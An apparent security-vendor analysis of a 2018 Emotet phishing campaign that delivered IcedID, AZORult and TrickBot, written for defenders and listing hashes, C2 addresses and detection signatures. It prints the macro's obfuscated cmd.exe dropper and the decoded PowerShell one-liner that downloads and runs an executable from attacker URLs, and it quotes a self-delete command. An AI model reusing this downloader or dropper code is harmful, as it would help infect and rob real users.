Emotet is one of the most prevalent malware families in the cybercrime realm in 2018 and with no breakthroughs in identifying the actors or larger infrastructure, at least publicly, it seems poised to stay that way for the time being. The malware is typically delivered to users through phishing campaigns with malicious Word documents containing macros. Once executed, Emotet will often drop an additional malware family such as TrickBot or another information stealer. In the case we will look at today, an Emotet phishing campaign led to the delivery of not just one additional malware family but three; AZORult, IcedID, and TrickBot.
This campaign was discovered by Brad Duncan on September 25th, 2018 and published on the SANS ISC website and his research website malware-traffic-analysis.net. We'll be covering the samples mentioned in these posts.
Campaign Overview
Emotet is primarily distributed through phishing emails and malicious Word documents, and this campaign is no exception. Emails using the common phishing lure of fake invoices were sent to potential victims and used one of three malware delivery methods. As pointed out by Brad Duncan, the phishing emails would either use an attached Word document, a URL within the email body pointing to a Word document, or an attached PDF containing a URL also pointing to a Word document.
An approach like this, which leverages multiple file types and methods, may have been used in an attempt to infect a wider audience of users. In environments where a directly attached Word document with macros is blocked by a mail filter or other security device, perhaps an email with an attached PDF will make it through to potential victims instead.
Each of these Word documents contains malicious macros that attempt to download and execute an Emotet payload on the victims' computer. By default, Microsoft Word disables macros, but if a user manually enables them the malicious code is executed when the document is opened through the use of the built-in AutoOpen function.
Although it is common to see Emotet being delivered in this manner and additionally dropping a secondary malware family on the compromised host, this campaign differs in that it delivers not just two malware families (Emotet and a secondary malware) but four total malware families; AZORult, Emotet, IcedID, and TrickBot. This combination is a reasonably new development for these families, and Fortinet has previously pointed out that it is believed the IcedID and TrickBot actors are working together to distribute their wares.
Emotet Delivery
The Word document that ultimately ends in an Emotet infection is heavily obfuscated. This is a common tactic for Emotet campaigns and provides the means to evade some security detection measures and additionally make analysis more difficult for researchers. Like most Emotet document, the majority of the macro is obfuscated junk code meant to waste time during analysis and complicate de-obfuscation. The image below shows an excerpt of this obfuscated content.
This document is identified by the following hashes:
- MD5:
d20d00fbfc1d1b0e77e00804c15bb812 - SHA1:
c0b9204a00b485820ef5e9b21eb53cfb85bf411a - SHA256:
34fd8ab80ff403db687517beac2b1d3024f69119e73c054ffe6686b1a0a40489
Malicious macros generally follow the same overall workflow during execution. The goal is to run a malware executable on the victims' system, and this is typically accomplished in two ways. Either the macro includes code to download and execute a file from a remote URL or the macro spawns a built-in Windows executable to perform this task. The use of built-in functions such as AutoOpen and AutoClose is very common to see in malicious macros as well, as they provide hooks to run code on launch or exit automatically.
To view the macro content, we'll turn to an open source tool called olevba. This Python script is provided as part of the toolkit oletools by decalage, and it assists in macro extracting and decoding. Using olevba with the command below extracts the macro and attempts to deobfuscate the content for us:
olevba3 --deobf --decode --detailed 2018-09-25-downloaded-Word-doc-with-macro-for-Emotet.doc
While olevba was unable to deobfuscate the macro fully, it does still provide some beneficial information. The results show that the AutoOpen and Shell keywords are used within the code. Since both of these are commonly abused, we can take the dumped macro olevba provided and search for these two keywords to narrow down where in the macro we should look for the true malicious activity.
Searching for these two keywords, two interesting bits of code appear. One in the form of the "AutoOpen" function, which will execute automatically when the document is opened, and the second in the function named krErjrCJirijBJ which contains a Shell function reference and is called from AutoOpen.
Now that we've narrowed down where in the code the malicious activity likely occurs, obtaining the result of the execution is as easy as opening the document in Word and adding a MsgBox call around the variable passed to Shell. This reveals that another obfuscated command to execute cmd.exe, which can be seen below:
CMd /V^:/C'^s^e^t ^\^.],=^51^3 9^50 51^9 ^9^13^ 590^ 093 ^950^ ^10^3^ 3^51 950^ ^3^10^ ^10^3^ ^13^9 951 ^93^5 ^90^5 5^3^9 0^5^1}0^15}93^0{^0^31^h91^0c^0^91^t0^51a1^0^9c9^3^0}^9^01^;^9^5^3^k05^1^a^30^5^e3^90r^150b^35^0^;930z1^3^0^z513F^951^$^5^30 ^031^m^1^95e^03^1t90^1I^3^9^0^-130^e0^1^5k^903o9^05v^95^0n319I^30^5;0^39)105z103^z^539F^935$^9^5^1^ 39^0,90^5^z359w913W59^1^$395(^39^1^e^5^0^3l^0^39^i^05^1F^19^3d^30^9^a1^9^5o^915l^09^3n501w310o3^15D0^53^.^30^1H^5^39q3^1^9C093^$5^3^0^{^1^0^5^y059r^1^05^t^9^10{^103)^90^3H3^0^1O319^q1^95^$0^3^5 05^3n^901^i5^9^1 ^5^0^9^z1^59w^9^0^5^W31^9^$039(35^1h931c9^3^0^a130^e539r^30^9^o0^3^5^f^1^5^0;351'^9^03^e5^1^9x^50^3^e^10^5^.19^0'390^+0^9^3^O1^3^9U3^1^9^s10^9^$^5^39^+50^3^'^0^91\9^5^3^'^0^9^5^+5^10c^095i^5^3^9l1^3^9^b5^03^u5^01^p^935^:^9^5^0v31^9n091^e^0^1^5$035^=13^9z1^90^z^9^13F9^0^5$^901^;590^'^9^10^5^9^51^7^30^940^5^3^'91^0 9^0^1^=^3^5^9 9^13^O01^9^U930s^5^0^9$^93^5;^51^0)^50^9'9^5^3^@1^0^3^'^3^5^1(^3^19t^39^0i30^5l^3^05p^01^5S130.^309^'^91^0S901^S103^Z^50^3^49^51q^5^01L5^09^1^1^05^0^0^19f3^9^0^L^091/13^5m^0^3^9o^39^5c^59^1.^53^9^b^590^e3^9^1s^0^9^3e^531p3^09u^903o^59^0r935g91^5^.^9^1^3^s^9^0^3e0^13^t^90^1t3^1^0e1^95u53^1q^3^9^1a^0^3^5m^1^93/^953/^5^93:^31^9p930t350^t^5^3^9h^109^@539r9^50^E^5^1^9^i1^5^9^Q1^59^61^35^x^5^0^949^35z503/3^05^m593o3^0^1c^53^9.^509^i^50^3l^13^5a59^0^m539o931^s^0^91j^153d05^1/^51^0/^95^3^:^1^95p1^9^0t^0^9^3^t1^3^9h591@^3^09P^9^31^G^351^d^590C1^9^0a1^30V^9^15^H^3^50f503^T^9^1^02^9^50/19^0^t513^i09^5^f^53^9.^53^0^e0^1^3c591n^9^3^5^a5^39^m1^9^3r15^9^o^31^0^f913r^510e^9^15^p^39^1^k390a3^95^e13^0^p^1^95/^9^5^1/019^:^5^13^p^950t^31^5t1^35^h^190@^0^9^5m^0^95S91^5^f3^0^5U1^39v3^1^9l^35^9A953/305^k9^10^u319^.90^1^e^39^0^m03^1.5^0^1e^95^0^s5^1^0u3^59^o5^3^0h^509^e0^51n50^1^o39^5t59^0s931/0^59/^9^53:0^3^9p^19^0t^5^9^1t9^0^5h09^5^@^0^3^9F^3^05^D9^03^w9^15039^1e^10^9G310^8^09^5^1^013/^103m^915^o^0^9^1c91^5.5^9^0^g15^0n^1^0^9i3^0^1t^9^1^0a^1^9^0l^13^9p^395a09^5n0^5^9a59^1^i^150s19^3i195u^1^9^5o^03^5l59^0/510/105:^930^p390^t^1^9^3^t^1^0^5h^10^3^'5^13^=350^H^930^O9^0^3q^03^1^$350^;0^35^t^5^9^1n^1^30^e0^1^3i^09^3l93^5C15^3b^31^5e0^53W^3^19^.^0^5^1t30^1e^03^9N^9^0^5 5^3^9^t0^5^9c9^3^1e^15^3^j^0^31^b519^o1^9^3-^5^39w0^3^9^e^3^09n^5^91^=0^39H9^3^5q3^1^0C^903$309 1^3^5l^093l^5^3^1^e^0^9^5h95^0s^35^0r^9^05e35^1w^915^o3^91^p&&^f^or /^L %^H in (^15^51^,^-^4^,^3)^d^o ^se^t ^,^\^#=!^,^\^#!!^\^.],:~%^H,1!&&^if %^H=^=^3 ca^l^l %^,^\^#:^*^,^\#^!^=%'
When decoded and executed, this command will spawn a Powershell process and pass the following code to it:
powershell $CqH=new-object Net.WebClient;$qOH='hxxp://louisianaplating.com/18Ge0wDF@hxxp://stonehouse.me.uk/AlvUfSm@hxxp://peakperformance.fit/2TfHVaCdGP@hxxp://djsomali.com/z4x6QiEr@hxxp://maquettes.groupeseb.com/Lf01Lq4ZSS'.Split('@');$sUO = '475';$Fzz=$env:public+'\'+$sUO+'.exe';foreach($Wwz in $qOH){try{$CqH.DownloadFile($Wwz, $Fzz);Invoke-Item $Fzz;break;}catch{}}
By quickly looking at this Powershell code, we can see that it will iterate over the list of URLs, splitting the string at the @ character, and attempt to download page each to a file named 475.exe. At the time of execution all but one of these URLs were no longer active, although we retrieved one Windows executable from hxxp://peakperformance.fit/25fHVaCdGP.
Emotet Execution
The file received from the peakperformance[.]fit URL is an Emotet payload that can be identified with the following hashes:
- MD5:
39b708e196d7b1902aaa2dce74b402fe - SHA1:
6812bd316472ffb8a02b60e8f7126857817c1522 - SHA256:
d9352b362629bdcd5d7c830a3ea9c5f55d1e0be4240b5df2867903fb317ee7d3
When executed, this payload will create a copy of itself to the location C:\Windows\System32\deepwindow.exe, spawn the copy, and transfer execution to the newly created process. At this point, Emotet will contact its Command and Control server at hxxp://190.147.53.140:8090 with an HTTP GET request.
Windows API calls in Emotet are dynamically determined by using LoadLibraryA and GetProcAddress. The HTTP requests sent by the malware can be analyzed in a debugger by setting breakpoints on the HttpSendRequestW call.
HTTP traffic directly to an IP address, especially on a high non-standard TCP port, is often an indication of malicious activity and warrants further investigation.
Since this Emotet C&C is likely being used across this phishing campaign, we did some digging to look for other Word documents that also contacted this same host. In doing so, we identified several additional Word documents in the wild that also contact this C&C server.
Malicious Word Documents
5d152f31025aeebd062c010034616373d57511952ce41bffe1ef92a355153851fb9b6a0ff5be4fd0933ddf0de155299a613f4884f066cc1749649b6ba7086b11447be2bf7c0c275b9220e521f1cdfc5465b7ca1bb6c46c761941a5fc137f616cfb9b6a0ff5be4fd0933ddf0de155299a613f4884f066cc1749649b6ba7086b115499d3f495fd9385435817358d2b26db82d6519285024e1b06efeda01db330b254851c1a04cf381b8ecf231c4f7ceaac15cc72ac6b9d7b7193dfb81952ddfe3287edebbe5926770ae9d17b32e87018c27701a25687553bff99080467f25cae28fe5f242e2cadd11902f2bf0e9a18e459718d1b4fa5cc11f3b423c0b5781a9e929a25bd604d92301854f4a7b04dfe46d9f6faf3dc7398c28ed8f4de3de26ec875264614093cc141e832532a5c7b723e2796ee2719b61d1aa05a04bef9e8aacfb0f70bc509aaebdff4e2db1a6652c96686be1ecd6313e91648af2ac8e89da31e07264614093cc141e832532a5c7b723e2796ee2719b61d1aa05a04bef9e8aacfb0af82e3f1de89236c4a1fde594f1b84179f6ecae01782d1e25e7d07bad7709327e38c850f866cd6a550df0ca5b0d3d3dc2f537e798ed5ed5a9a0d171ccf13edebaf82e3f1de89236c4a1fde594f1b84179f6ecae01782d1e25e7d07bad7709327e184995970084a5d08120cb12a6a043038a04c260792df699a65463f79d4115f802b0e8496e9bc551bf6f3c596dd16efbbd26a4b8b034cac2176f30530818dd12158cb833ce226a4a25658b6280e3dc92b2cfb4e57201bcb02773f7652269288e184995970084a5d08120cb12a6a043038a04c260792df699a65463f79d4115f4ed187bb58474a04b59fcff995e176e854a65d38537b32d94cb3a37ab590bab8
Mutexes created by this Emotet payload can be identified by the prefix PEM followed by three alphanumeric characters:
- PEMBC4
- PEM198
- PEMBF0
- PEM5D4
To persist after a system reboot, Emotet will add itself to the registry under the HKCU\Software\Microsoft\Windows\CurrentVersion\Run location using the filename as the key and the dropped file path as the value.
After successfully contacting its Command and Control server, this Emotet payload will then deliver the TrickBot and IcedID malware families.
IcedID
The delivered IcedID payload can be identified by the following hashes:
- MD5:
5fdc6c23031bc5b5013660ca323a0703 - SHA1:
651abd30bfcd3f7c4fd6837e831b2d6033681cac - SHA256:
2cbb833b3410d0d27719614f3b4ffe8f16d7dd5242a8b85f35619405b110784e
The malware will create a copy of itself in the %PROGRAMDATA% directory and spawn a new svchost.exe process to inject into. Once execution has been transferred, the original executable is terminated and the new process will contact a Command and Control server at hxxp://108.167.137.17. A Windows Scheduled Task is then created to persist across system reboots.
In the case of the sample shown above, the copied payload is saved as C:\ProgramData\{C108461A-4C1A-4B65-AF7A-78B7E6072D9A}\ipdkqgo.exe.
This path is also used in the Scheduled Task which can be seen in the screenshot below.
Scheduled Task
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo />
<Triggers>
<LogonTrigger id="{C1083D89-0389-4940-AE66-782E5E072D56}">
<Enabled>true</Enabled>
<UserId>donthackmeplz\adam</UserId>
</LogonTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions>
<Exec>
<Command>"C:\ProgramData\{C108461A-4C1A-4B65-AF7A-78B7E6072D9A}\ipdkqgo.exe"</Command>
</Exec>
</Actions>
</Task>
IcedID is a popular banking trojan that has been distributed through Emotet since September 2017. To capture financial credentials from victims, IcedID will set up a local proxy on the compromised host that intercepts outbound traffic. When this proxy sees the information it wishes to capture, it will be sent back to the Command and Control server. Credential theft is also possible through replicated banking websites. When a user visits a legitimate financial institution in their browser, IcedID will load a replica of the website while still displaying the legitimate URL and SSL certificate to the user.
As of July 2018, it has been reported by Fortinet that IcedID and TrickBot are now being distributed together. This is evident here in the dual distribution of these families.
This instance of IcedID also retrieves and executes an AZORult payload from the URL hxxp://108.167.137.17/crypt_AU3_EXE.exe.
AZORult
AZORult is an information-stealing malware, similar to the Pony malware family. The main functionality of the malware includes collecting information and credentials from the operating system and third-party applications then exfiltrating that data back to its C&C server.
The payload delivered from the IcedID server can be identified with the following hashes:
- MD5:
1ecadf83d8308c119f0ca3bc13e3e6a2 - SHA1:
39254e9d2cb174ae94e831dbf22bcaa21559a53d - SHA256:
80aa7f6f6b25aaf43e52d5ca6971f5dac45b3b2e0ed5c5f3843080b03771c2cc
The Command and Control server is contacted by HTTP POST requests to the URL hxxp://107.182.230.25/index.php with the User-Agent Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1). A quick check-in is performed when execution starts, likely to inform the controlling threat actor that a new host has been infected. After this check-in, AZORult will collect information from various installed applications. A non-inclusive list of stolen data can be seen below:
- Cryptocurrency wallets (Monera, Bitcoin-QT, Ethereum)
- System Information:
- Username, Operating System, Computer Name, Local Time, CPU information, Running Processes, Installed Applications, Screen Resolution
- Browser data, including saved form data, cookies, and passwords:
- FireFox, Internet Explorer, Edge, Yandex, Vivaldi, Torch, Chrome, Brave, Opera, Epic Privacy Browser, Sputnik
- Credentials from email clients, FTP applications, file sharing software
- Skype message history
One interesting note about AZORult is that there is no mechanism for persistence and once the information collection has finished it will remove itself from the compromised host. At the end of its execution, AZORult spawns a cmd.exe process to execute timeout.exe to sleep for 3 seconds and then delete its payload from disk, effectively remove itself from the system.
Payload Removal
"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "azorult.exe"
Conclusion
Although defensive security measures such as email filters and anti-virus have evolved greatly over the past several years, especially with the recent inclusion of machine learning identification, they are still far from perfect and not fully capable of mitigating this threat. Emotet phishing campaigns are one of the most prevalent threats in today's cybercrime landscape and appear to be getting more versatile as time goes on. The actors involved know which phishing lures will get the most clicks, and by opting to use multiple methods for malware delivery, as seen in this campaign, there is the potential to affect a larger number of users. The use of malicious Office macros also does not appear to be going away anytime soon. Even though they are a well-known vector, they are still being widely used in attacks and will very likely continue to be due to their effectiveness and reliance on user awareness to ultimately not manually enable macros on their system.
As mentioned earlier in this post, this campaign also delivered the TrickBot malware family. Due to TrickBot retrieving several additional modules and using multiple web inject methods, we will be covering its analysis in an upcoming blog post of its own.
InQuest provides protection for its customers against all of the malware families mentioned in this post, including TrickBot and several of its modules, AZORult stealer, and IcedID. Customers can use the following signatures to identify activity associated with these families in their environment:
TrickBot Signatures
- MC_TrickBot_Injection_Module
- MC_Trickbot_Worm_Module
- MC_TrickBot_Shares_Module
- MC_TrickBot_Tabs_Module
- MC_TrickBot_Spreader
IcedID Signatures
- MC_IcedID_Crypter
AZORult Signatures
- MC_AZORult_Trojan
Emotet Signatures
- HA_Geodo_Emotet_Word_Malspam
- MC_Emotet_Packer
- MC_Emotet_Word_Dropper
